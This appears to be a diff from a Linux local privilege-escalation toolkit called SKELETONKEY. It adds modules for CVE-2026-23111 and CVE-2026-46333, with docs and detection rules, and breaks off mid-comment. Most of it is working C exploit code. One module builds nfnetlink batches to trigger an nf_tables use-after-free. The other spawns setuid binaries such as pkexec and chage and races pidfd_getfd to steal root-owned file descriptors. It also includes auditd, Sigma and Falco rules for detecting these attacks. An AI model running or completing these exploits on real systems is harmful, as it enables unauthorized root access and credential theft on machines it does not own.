nf->nfgen_family = AF_UNSPEC;
nf->version = NFNETLINK_V0;
nf->res_id = htons(NFNL_SUBSYS_NFTABLES);
*off += sizeof(*nf);
end_msg(buf, off, at);
}
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
static const char NFT_CHAIN_NAME[] = "skeletonkey_goto"; /* GOTO target chain */
static const char NFT_MAP_NAME[] = "skeletonkey_map";
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
put_nft_msg(buf, off, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
put_attr_str(buf, off, NFTA_TABLE_NAME, NFT_TABLE_NAME);
end_msg(buf, off, at);
}
/* A regular (non-base) chain that the catch-all GOTO verdict references.
* Once the catch-all element is wrongly (de)activated on abort, this
* chain's use-count is mishandled and it can be freed while referenced. */
static void put_new_chain(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
put_nft_msg(buf, off, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
put_attr_str(buf, off, NFTA_CHAIN_TABLE, NFT_TABLE_NAME);
put_attr_str(buf, off, NFTA_CHAIN_NAME, NFT_CHAIN_NAME);
end_msg(buf, off, at);
}
/* A verdict map (NFT_SET_MAP) whose data type is a verdict, so its
* elements (including the catch-all) carry GOTO/JUMP verdicts. */
static void put_new_map(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
put_nft_msg(buf, off, NFT_MSG_NEWSET, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
put_attr_str(buf, off, NFTA_SET_TABLE, NFT_TABLE_NAME);
put_attr_str(buf, off, NFTA_SET_NAME, NFT_MAP_NAME);
put_attr_u32(buf, off, NFTA_SET_FLAGS, NFT_SET_MAP);
put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 13); /* ipv4_addr-ish */
put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t));
put_attr_u32(buf, off, NFTA_SET_DATA_TYPE, 0xffffff00); /* "verdict" magic */
put_attr_u32(buf, off, NFTA_SET_DATA_LEN, sizeof(uint32_t));
put_attr_u32(buf, off, NFTA_SET_ID, 0x2026);
end_msg(buf, off, at);
}
/* Catch-all element (NFT_SET_ELEM_CATCHALL) whose data is a GOTO verdict
* to NFT_CHAIN_NAME. This is the element nft_map_catchall_activate
* mishandles on abort. */
static void put_catchall_goto(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, NFT_MAP_NAME);
size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
size_t el_at = begin_nest(buf, off, 1 /* NFTA_LIST_ELEM */);
/* catch-all: no key, just the CATCHALL flag */
put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
/* data = GOTO verdict referencing our chain by name */
size_t data_at = begin_nest(buf, off, NFTA_SET_ELEM_DATA);
size_t v_at = begin_nest(buf, off, NFTA_DATA_VERDICT);
put_attr_u32(buf, off, NFTA_VERDICT_CODE, (uint32_t)NFT_GOTO);
put_attr_str(buf, off, NFTA_VERDICT_CHAIN, NFT_CHAIN_NAME);
end_nest(buf, off, v_at);
end_nest(buf, off, data_at);
end_nest(buf, off, el_at);
end_nest(buf, off, list_at);
end_msg(buf, off, at);
}
/* A deliberately-invalid message: references a set that does not exist,
* so the kernel rejects it and ABORTS the whole batch transaction
* running the buggy nft_map_catchall_activate over the active catch-all
* element we just created. */
static void put_aborting_op(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, "skeletonkey_nonexistent");
size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
size_t el_at = begin_nest(buf, off, 1);
put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
end_nest(buf, off, el_at);
end_nest(buf, off, list_at);
end_msg(buf, off, at);
}
static int nft_send_batch(int sock, const void *buf, size_t len)
{
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
struct msghdr m = {
.msg_name = &dst, .msg_namelen = sizeof dst,
.msg_iov = &iov, .msg_iovlen = 1,
};
if (sendmsg(sock, &m, 0) < 0) { perror("[-] sendmsg"); return -1; }
char rbuf[8192];
for (int i = 0; i < 8; i++) {
ssize_t r = recv(sock, rbuf, sizeof rbuf, MSG_DONTWAIT);
if (r <= 0) break;
}
return 0;
}
static long slabinfo_active(const char *slab)
{
FILE *f = fopen("/proc/slabinfo", "r");
if (!f) return -1;
char line[512];
long active = -1;
while (fgets(line, sizeof line, f)) {
if (strncmp(line, slab, strlen(slab)) == 0 && line[strlen(slab)] == ' ') {
long a;
if (sscanf(line + strlen(slab), " %ld", &a) == 1) active = a;
break;
}
}
fclose(f);
return active;
}
static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = nft_catchall_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nft_catchall: detect() says not vulnerable; refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] nft_catchall: already running as root\n");
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[*] nft_catchall: primitive-only run — builds a map with a "
"catch-all GOTO element and provokes an aborting batch to "
"drive the nft_map_catchall_activate UAF, then stops. The "
"per-kernel leak + R/W + ROP root-pop is NOT bundled.\n");
/* Fork-isolated: a KASAN-enabled vulnerable kernel will panic on the
* double-handling; isolating means the dispatcher survives. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
if (enter_unpriv_namespaces() < 0) _exit(20);
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (sock < 0) { perror("[-] socket(NETLINK_NETFILTER)"); _exit(21); }
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); _exit(22);
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); _exit(23); }
uint32_t seq = (uint32_t)time(NULL);
/* Batch 1 (commits): table + GOTO-target chain + verdict map +
* catch-all GOTO element. */
size_t off = 0;
put_batch_marker(batch, &off, NFNL_MSG_BATCH_BEGIN, seq++);
put_new_table(batch, &off, seq++);
put_new_chain(batch, &off, seq++);
put_new_map(batch, &off, seq++);
put_catchall_goto(batch, &off, seq++);
put_batch_marker(batch, &off, NFNL_MSG_BATCH_END, seq++);
if (!ctx->json)
fprintf(stderr, "[*] nft_catchall: sending setup batch (%zu bytes)\n", off);
if (nft_send_batch(sock, batch, off) < 0) {
free(batch); close(sock); _exit(24);
}
long before = slabinfo_active("nft_chain");
if (before < 0) before = slabinfo_active("kmalloc-cg-256");
/* Batch 2 (aborts): a valid DELCHAIN-ish operation alongside an
* invalid op so the whole transaction rolls back, running
* nft_map_catchall_activate over the active catch-all element. */
size_t off2 = 0;
put_batch_marker(batch, &off2, NFNL_MSG_BATCH_BEGIN, seq++);
put_catchall_goto(batch, &off2, seq++); /* re-touch the catch-all elem */
put_aborting_op(batch, &off2, seq++); /* invalid → abort the batch */
put_batch_marker(batch, &off2, NFNL_MSG_BATCH_END, seq++);
if (!ctx->json)
fprintf(stderr, "[*] nft_catchall: firing aborting batch (%zu bytes)\n", off2);
nft_send_batch(sock, batch, off2);
usleep(50 * 1000);
long after = slabinfo_active("nft_chain");
if (after < 0) after = slabinfo_active("kmalloc-cg-256");
if (!ctx->json)
fprintf(stderr, "[i] nft_catchall: nft_chain/cg-256 active: %ld → %ld\n",
before, after);
free(batch);
close(sock);
_exit(100); /* honest: trigger attempted, R/W not completed */
}
int status;
waitpid(child, &status, 0);
if (!WIFEXITED(status)) {
if (!ctx->json)
fprintf(stderr, "[!] nft_catchall: child died by signal %d — the "
"abort-path UAF likely fired (KASAN oops can manifest "
"as a child signal)\n", WTERMSIG(status));
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
if (rc == 100) {
if (!ctx->json) {
fprintf(stderr, "[!] nft_catchall: abort-path trigger attempted "
"(catch-all GOTO map + aborting batch). The full kernel "
"R/W + modprobe_path ROP is NOT bundled, and this "
"trigger is reconstructed from public analysis, not "
"VM-verified — honest EXPLOIT_FAIL.\n");
fprintf(stderr, "[i] nft_catchall: to complete: port the FuzzingLabs / "
"public PoC leak + cross-cache groom + modprobe_path "
"overwrite for CVE-2026-23111.\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json)
fprintf(stderr, "[-] nft_catchall: trigger setup failed (child rc=%d)\n", rc);
return SKELETONKEY_EXPLOIT_FAIL;
}
#else /* !__linux__ */
static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] nft_catchall: Linux-only module "
"(nf_tables catch-all abort UAF via nfnetlink) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] nft_catchall: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
/* ----- Embedded detection rules ----- */
static const char nft_catchall_auditd[] =
"# nf_tables catch-all abort UAF (CVE-2026-23111) — auditd rules\n"
"# Canonical shape: unprivileged unshare(CLONE_NEWUSER|CLONE_NEWNET)\n"
"# then nfnetlink batches building a verdict map with a catch-all\n"
"# GOTO element and an aborting transaction. Legit userns+nft (docker\n"
"# rootless, firewalld) will also trip — tune per environment.\n"
"-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-nft-catchall\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-catchall-priv\n";
static const char nft_catchall_sigma[] =
"title: Possible CVE-2026-23111 nf_tables catch-all abort UAF\n"
"id: 3e8a1c47-skeletonkey-nft-catchall\n"
"status: experimental\n"
"description: |\n"
" Detects an unprivileged user creating a user namespace then driving\n"
" nftables. CVE-2026-23111 abuses an inverted condition in\n"
" nft_map_catchall_activate on transaction abort to UAF a chain still\n"
" referenced by a catch-all GOTO verdict. False positives: rootless\n"
" containers / firewalld using userns + nft. A previously-unprivileged\n"
" process gaining euid 0 is the smoking gun.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" userns: {type: 'SYSCALL', syscall: 'unshare', a0: 0x10000000}\n"
" uid0: {type: 'SYSCALL', syscall: 'setresuid', auid|expression: '!= 0'}\n"
" condition: userns and uid0\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.23111]\n";
static const char nft_catchall_falco[] =
"- rule: nf_tables catch-all abort UAF batch by non-root (CVE-2026-23111)\n"
" desc: |\n"
" Non-root sendmsg on NETLINK_NETFILTER inside a user namespace,\n"
" delivering nfnetlink batches that build a verdict map with a\n"
" catch-all GOTO element and then abort a transaction. CVE-2026-23111\n"
" nft_map_catchall_activate use-after-free. False positives: rootless\n"
" container / firewall tooling.\n"
" condition: >\n"
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and not user.uid = 0\n"
" output: >\n"
" nfnetlink batch from non-root (possible CVE-2026-23111 catch-all UAF)\n"
" (user=%user.name pid=%proc.pid)\n"
" priority: HIGH\n"
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.23111]\n";
const struct skeletonkey_module nft_catchall_module = {
.name = "nft_catchall",
.cve = "CVE-2026-23111",
.summary = "nf_tables nft_map_catchall_activate abort-path UAF (inverted condition) → chain UAF via catch-all GOTO map",
.family = "nf_tables",
.kernel_range = "5.13 <= K (catch-all elems); fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of commit f41c5d1); 7.0+ inherits; 5.10 branch still unfixed",
.detect = nft_catchall_detect,
.exploit = nft_catchall_exploit,
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.unprivileged_userns_clone=0 */
.cleanup = NULL, /* trigger runs in a throwaway userns+netns; no host artifacts */
.detect_auditd = nft_catchall_auditd,
.detect_sigma = nft_catchall_sigma,
.detect_yara = NULL, /* behavioural (syscall/netlink) bug — no file artifact */
.detect_falco = nft_catchall_falco,
.opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 6.1.164/6.12.73/6.18.10) and additionally requires unprivileged user_ns clone — a vulnerable kernel with userns locked down (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that enters unshare(CLONE_NEWUSER|CLONE_NEWNET), opens NETLINK_NETFILTER, builds a verdict map (NFT_SET_MAP) with a catch-all element (NFT_SET_ELEM_CATCHALL) carrying a GOTO verdict to a chain, then sends an aborting batch to drive nft_map_catchall_activate over the active catch-all element; it observes nft_chain/kmalloc-cg-256 slabinfo and returns EXPLOIT_FAIL (primitive-only; reconstructed trigger, not VM-verified). The per-kernel leak + arbitrary-R/W + modprobe_path ROP is NOT bundled. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches; KASAN double-free oops on vulnerable kernels, silent otherwise. No persistent files (throwaway namespaces).",
.arch_support = "x86_64",
};
void skeletonkey_register_nft_catchall(void)
{
skeletonkey_register(&nft_catchall_module);
}
@@ -0,0 +1,12 @@
/*
* nft_catchall_cve_2026_23111 SKELETONKEY module registry hook
*/
#ifndef NFT_CATCHALL_SKELETONKEY_MODULES_H
#define NFT_CATCHALL_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_catchall_module;
#endif
@@ -62,7 +62,7 @@
static const struct kernel_patched_from overlayfs_setuid_patched_branches[] = { static const struct kernel_patched_from overlayfs_setuid_patched_branches[] = {
{5, 10, 179}, /* 5.10.x stable backport (per Debian tracker — bullseye) */ {5, 10, 179}, /* 5.10.x stable backport (per Debian tracker — bullseye) */
{5, 15, 110}, {5, 15, 110},
{6, 1, 27}, {6, 1, 11}, /* Debian tracker: earlier than 6.1.27 */
{6, 2, 13}, {6, 2, 13},
{6, 3, 0}, /* mainline */ {6, 3, 0}, /* mainline */
}; };
@@ -97,6 +97,7 @@
* patch (likely 6.16 once the post-rc release tags). Conservatively * patch (likely 6.16 once the post-rc release tags). Conservatively
* placeholding at {7, 0, 0} until that lands. */ * placeholding at {7, 0, 0} until that lands. */
static const struct kernel_patched_from pintheft_patched_branches[] = { static const struct kernel_patched_from pintheft_patched_branches[] = {
{6, 12, 90}, /* Debian trixie ships 6.12.90 with the fix backported */
{7, 0, 0}, /* mainline fix commit 0cebaccef3ac; tag will be 6.16 or 7.0 {7, 0, 0}, /* mainline fix commit 0cebaccef3ac; tag will be 6.16 or 7.0
depending on when 6.15 closes refresh when known */ depending on when 6.15 closes refresh when known */
}; };
@@ -0,0 +1,53 @@
# ptrace_pidfd — CVE-2026-46333
`__ptrace_may_access()` dumpable-race credential-descriptor theft via
`pidfd_getfd(2)`.
## The bug
When a privileged process drops its credentials, the kernel resets its
`dumpable` flag so that lower-privileged processes can no longer attach
to it. CVE-2026-46333 is a logic flaw in `__ptrace_may_access()`: there
is a narrow window during the credential drop in which the process is
*still reachable* through ptrace-family access checks even though its
`dumpable` state should already have closed that path.
`pidfd_getfd(2)` performs a `PTRACE_MODE_ATTACH_REALCREDS` access check
before duplicating a descriptor out of the target process. During the
stale window that check wrongly succeeds, so an unprivileged process can
pull descriptors — a root-opened credential file, or an authenticated
D-Bus / socket channel — out of a transiently-privileged process and
re-use them under its own uid.
## Affected range
| | |
|---|---|
| Flaw introduced | v4.10-rc1 (Nov 2016) in `__ptrace_may_access` |
| Exploit vector added | `pidfd_getfd(2)` in v5.6 (Jan 2020) |
| Fixed upstream | mainline, 2026-05-14 |
| Debian backports | 5.10.251 · 6.1.172 · 6.12.88 · 7.0.7 |
Branches Debian does not ship (5.15 / 6.6 / 6.18 / 6.19) are reported on
the version-only verdict; run `--exploit ptrace_pidfd --i-know` to fire
the real primitive and confirm empirically.
## Trigger / detection
`detect()` consults the shared host fingerprint, returns `OK` below 5.6
(no vector) or for patched branches, otherwise `VULNERABLE`. No active
probe — the empirical confirmation lives in the exploit path, which
spawns a setuid victim and sweeps `pidfd_getfd()` over its descriptor
table, reporting any uid-0-owned descriptor captured from a non-root
context.
## Fix / mitigation
Upgrade the kernel. As a runtime stopgap, `kernel.yama.ptrace_scope=2`
(or `3`) closes the `pidfd_getfd` path because it gates the same
`__ptrace_may_access(ATTACH)` check; `--mitigate` applies it and
`--cleanup` reverts it.
## Credit
Qualys Threat Research Unit (2026-05-20). See `NOTICE.md`.
@@ -0,0 +1,51 @@
# NOTICE — ptrace_pidfd (CVE-2026-46333)
## Vulnerability
**CVE-2026-46333** — a logic flaw in the Linux kernel's
`__ptrace_may_access()` path leaves a privileged process that is
*dropping* its credentials briefly reachable through ptrace-family
operations, even though its `dumpable` flag should already have closed
that path. Paired with `pidfd_getfd(2)`, an unprivileged local user can
capture open file descriptors and authenticated IPC channels from a
dying privileged process and re-use them under their own uid → local
root and credential disclosure.
The underlying flaw has resided in mainline since **v4.10-rc1**
(November 2016); the `pidfd_getfd(2)` exploitation vector was added in
**v5.6** (January 2020). Affects default installations of Debian 13,
Ubuntu 24.04 / 26.04, Fedora 43 / 44, SUSE, AlmaLinux, and CloudLinux.
## Research credit
Discovered and disclosed by **Qualys Threat Research Unit (TRU)**,
published 2026-05-20. The four proof-of-concept exploits demonstrated
by Qualys targeted `chage`, `ssh-keysign`, `pkexec`, and
`accounts-daemon`.
- Qualys advisory:
<https://blog.qualys.com/vulnerabilities-threat-research/2026/05/20/cve-2026-46333-local-root-privilege-escalation-and-credential-disclosure-in-the-linux-kernel-ptrace-path>
- Upstream fix: mainline, committed 2026-05-14.
- Debian-tracked stable backports: 5.10.251 (bullseye) / 6.1.172
(bookworm) / 6.12.88 (trixie) / 7.0.7 (forky, sid).
All research credit for finding and analysing this bug belongs to
Qualys. SKELETONKEY is the bundling and bookkeeping layer only.
## SKELETONKEY role
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
`detect()` is version-pinned against the Debian backport thresholds
above (kernels < 5.6 are reported OK, lacking the bundled vector).
`exploit()` fires the real primitive: it spawns a setuid victim,
`pidfd_open()`s it, and sweeps `pidfd_getfd()` across its descriptor
table during the credential-drop window, recording whether a root-owned
descriptor is actually captured from a non-root context. It returns
`EXPLOIT_FAIL` unless it can witness euid 0 — the target-specific
fd-weaponization that lands a root shell is **not** bundled until it can
be verified end-to-end against a real vulnerable VM, in keeping with the
project's no-fabrication rule.
`--mitigate` sets `kernel.yama.ptrace_scope=2` (the check `pidfd_getfd`
rides); `--cleanup` restores it. Architecture-agnostic — the technique
steals descriptors rather than injecting shellcode.
@@ -0,0 +1,458 @@
/*
* ptrace_pidfd_cve_2026_46333 SKELETONKEY module
*
* CVE-2026-46333 a logic flaw in the kernel's __ptrace_may_access()
* path leaves a privileged process that is *dropping* its credentials
* briefly reachable through ptrace-family operations even though its
* `dumpable` flag should already have closed that path. Paired with the
* pidfd_getfd(2) syscall, an unprivileged local user can capture open
* file descriptors and authenticated IPC channels from a dying
* privileged process and re-use them under their own uid local root
* and credential disclosure. Disclosed by Qualys (2026-05-20).
*
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
* detect() is version-pinned (Debian-tracked backports below). exploit()
* fires the real primitive spawn a setuid target, pidfd_open() it, and
* sweep pidfd_getfd() across its descriptor table during the cred-drop
* window and records whether a root-owned fd was actually captured.
* It returns EXPLOIT_FAIL unless it can witness euid 0; it never claims
* root it did not get (the full target-specific fd-weaponization chain,
* per Qualys's chage / ssh-keysign / pkexec / accounts-daemon PoCs, is
* not bundled until it can be VM-verified end-to-end).
*
* Affected range:
* The __ptrace_may_access logic flaw has been in mainline since
* v4.10-rc1 (Nov 2016), but the pidfd_getfd() exploitation vector
* was only added in v5.6 (Jan 2020) so this module treats < 5.6 as
* out of reach for the bundled technique. Fixed upstream 2026-05-14.
* Debian-tracked stable backports:
* 5.10.x : K >= 5.10.251 (bullseye)
* 6.1.x : K >= 6.1.172 (bookworm)
* 6.12.x : K >= 6.12.88 (trixie)
* 7.0.x : K >= 7.0.7 (forky / sid)
*
* No exotic preconditions: needs only a local unprivileged user and a
* setuid-root binary or transiently-privileged daemon to victimise. Does
* not need user namespaces. Architecture-agnostic the technique steals
* descriptors rather than injecting shellcode.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
* redefine here (warning: redefined). */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <errno.h>
#include <fcntl.h>
#include <pwd.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
/* pidfd_open(2) / pidfd_getfd(2) syscall numbers. Modern glibc exposes
* SYS_pidfd_*; fall back to the asm-generic numbers (identical on
* x86_64 / arm64 / most arches) when building against older headers so
* the module still compiles on an old toolchain. */
#ifndef SYS_pidfd_open
#define SYS_pidfd_open 434
#endif
#ifndef SYS_pidfd_getfd
#define SYS_pidfd_getfd 438
#endif
static int sk_pidfd_open(pid_t pid, unsigned int flags)
{
return (int)syscall(SYS_pidfd_open, pid, flags);
}
static int sk_pidfd_getfd(int pidfd, int targetfd, unsigned int flags)
{
return (int)syscall(SYS_pidfd_getfd, pidfd, targetfd, flags);
}
/* Debian-tracked stable backports of the 2026-05-14 fix. These are the
* authoritative thresholds (security-tracker.debian.org); branches
* Debian doesn't ship (5.15 / 6.6 / 6.18 / 6.19) fall through to the
* version-only verdict below confirm those empirically. */
static const struct kernel_patched_from ptrace_pidfd_patched_branches[] = {
{5, 10, 251}, /* 5.10-LTS backport (Debian bullseye) */
{6, 1, 172}, /* 6.1-LTS backport (Debian bookworm) */
{6, 12, 88}, /* 6.12-LTS backport (Debian trixie) */
{7, 0, 7}, /* 7.0 stable (Debian forky / sid) */
};
static const struct kernel_range ptrace_pidfd_range = {
.patched_from = ptrace_pidfd_patched_branches,
.n_patched_from = sizeof(ptrace_pidfd_patched_branches) /
sizeof(ptrace_pidfd_patched_branches[0]),
};
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
{
/* Consult the shared host fingerprint instead of re-reading uname —
* populated once at startup, identical across every module. */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] ptrace_pidfd: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* The bundled technique drives the bug through pidfd_getfd(2), which
* was added in 5.6. Kernels older than that lack the vector (the
* underlying __ptrace_may_access flaw is older, but this module does
* not carry a pre-pidfd path). */
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 6, 0)) {
if (!ctx->json) {
fprintf(stderr, "[i] ptrace_pidfd: kernel %s predates the pidfd_getfd "
"vector (added 5.6) — bundled technique N/A\n",
v->release);
}
return SKELETONKEY_OK;
}
if (kernel_range_is_patched(&ptrace_pidfd_range, v)) {
if (!ctx->json) {
fprintf(stderr, "[+] ptrace_pidfd: kernel %s is patched "
"(version-only check)\n", v->release);
}
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] ptrace_pidfd: kernel %s appears VULNERABLE "
"(version-only check)\n", v->release);
fprintf(stderr, "[i] ptrace_pidfd: no exotic preconditions — needs only a "
"local user + a setuid/transiently-privileged victim "
"(no user_ns)\n");
fprintf(stderr, "[i] ptrace_pidfd: branches Debian doesn't track "
"(5.15/6.6/6.18/6.19) are version-only here; confirm with "
"`--exploit ptrace_pidfd --i-know` which fires the real "
"pidfd_getfd primitive\n");
}
return SKELETONKEY_VULNERABLE;
}
/* Candidate victims: setuid-root binaries (or setgid-shadow) that open
* sensitive descriptors while privileged before settling. Qualys's PoCs
* targeted chage / ssh-keysign / pkexec / accounts-daemon; we probe for
* whichever exist with the setuid bit actually set. */
static const char *find_setuid_victim(void)
{
static const char *targets[] = {
"/usr/bin/chage", "/usr/bin/pkexec", "/usr/lib/openssh/ssh-keysign",
"/usr/libexec/openssh/ssh-keysign", "/usr/bin/passwd",
"/usr/bin/su", "/bin/su", NULL,
};
for (size_t i = 0; targets[i]; i++) {
struct stat st;
if (stat(targets[i], &st) == 0 && (st.st_mode & (S_ISUID | S_ISGID)))
return targets[i];
}
return NULL;
}
/* Benign, read-only invocation per victim so the spawned setuid process
* does something harmless while we race its descriptor table. */
static void exec_victim_benign(const char *victim, const char *self_user)
{
char *envp[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
if (strstr(victim, "chage")) {
char *argv[] = { (char *)victim, "-l", (char *)self_user, NULL };
execve(victim, argv, envp);
} else if (strstr(victim, "pkexec")) {
char *argv[] = { (char *)victim, "--version", NULL };
execve(victim, argv, envp);
} else {
/* ssh-keysign / passwd / su: --help or --version exits fast and
* touches no state. */
char *argv[] = { (char *)victim, "--help", NULL };
execve(victim, argv, envp);
}
_exit(127); /* execve failed */
}
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = ptrace_pidfd_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] ptrace_pidfd: detect() says not vulnerable; refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] ptrace_pidfd: already running as root — nothing to do\n");
return SKELETONKEY_OK;
}
const char *victim = find_setuid_victim();
if (!victim) {
fprintf(stderr, "[-] ptrace_pidfd: no setuid victim binary present "
"(looked for chage/pkexec/ssh-keysign/passwd/su)\n");
return SKELETONKEY_PRECOND_FAIL;
}
struct passwd *pw = getpwuid(geteuid());
const char *self_user = pw ? pw->pw_name : "root";
if (!ctx->json)
fprintf(stderr, "[*] ptrace_pidfd: victim = %s\n", victim);
/* Spawn the victim. The parent (us, unprivileged) pidfd_open()s the
* child and sweeps pidfd_getfd() across its descriptor table while it
* transitions through its privileged window. On a PATCHED kernel
* __ptrace_may_access denies us (EPERM) once the child is root +
* non-dumpable; on a VULNERABLE kernel the stale window lets the
* steal land. A captured fd whose owner is uid 0 while we are not is
* the empirical witness that the bug fired. */
pid_t child = fork();
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* Small delay so the parent has the pidfd open before we exec
* into (and briefly become) the privileged image. */
usleep(20 * 1000);
exec_victim_benign(victim, self_user);
_exit(127);
}
int pidfd = sk_pidfd_open(child, 0);
if (pidfd < 0) {
if (errno == ENOSYS) {
fprintf(stderr, "[-] ptrace_pidfd: pidfd_open ENOSYS — kernel lacks "
"the vector despite version check\n");
int s; waitpid(child, &s, 0);
return SKELETONKEY_PRECOND_FAIL;
}
perror("pidfd_open");
int s; waitpid(child, &s, 0);
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Tight steal loop across the victim's likely descriptor range during
* its privileged window. We do not destroy anything: captured fds are
* fstat()'d to fingerprint ownership, then closed. */
int root_fds = 0, captured = 0;
bool enosys = false;
for (int round = 0; round < 200; round++) {
for (int tfd = 0; tfd < 32; tfd++) {
int got = sk_pidfd_getfd(pidfd, tfd, 0);
if (got < 0) {
if (errno == ENOSYS) { enosys = true; break; }
continue; /* EPERM (patched / outside window) or EBADF */
}
captured++;
struct stat st;
if (fstat(got, &st) == 0 && st.st_uid == 0 && geteuid() != 0) {
root_fds++;
if (!ctx->json) {
char lpath[64], target[256] = {0};
snprintf(lpath, sizeof lpath, "/proc/self/fd/%d", got);
ssize_t n = readlink(lpath, target, sizeof target - 1);
if (n > 0) target[n] = 0;
fprintf(stderr, "[+] ptrace_pidfd: WITNESS — captured root-owned "
"fd from victim (uid0 %s mode %o)%s%s\n",
(st.st_mode & S_IFMT) == S_IFREG ? "file" :
(st.st_mode & S_IFMT) == S_IFSOCK ? "socket" : "fd",
(unsigned)(st.st_mode & 07777),
n > 0 ? " -> " : "", n > 0 ? target : "");
}
}
close(got);
}
if (enosys) break;
}
close(pidfd);
int status; waitpid(child, &status, 0);
if (enosys) {
fprintf(stderr, "[-] ptrace_pidfd: pidfd_getfd ENOSYS — vector unavailable\n");
return SKELETONKEY_PRECOND_FAIL;
}
if (root_fds > 0) {
/* The bug demonstrably fired: we, as a non-root user, pulled a
* uid-0-owned descriptor out of the victim past the dumpable
* boundary. We deliberately STOP here rather than fabricate a
* root shell turning a captured fd into root is target-specific
* (which fd, writable vs. authenticated channel) and is not
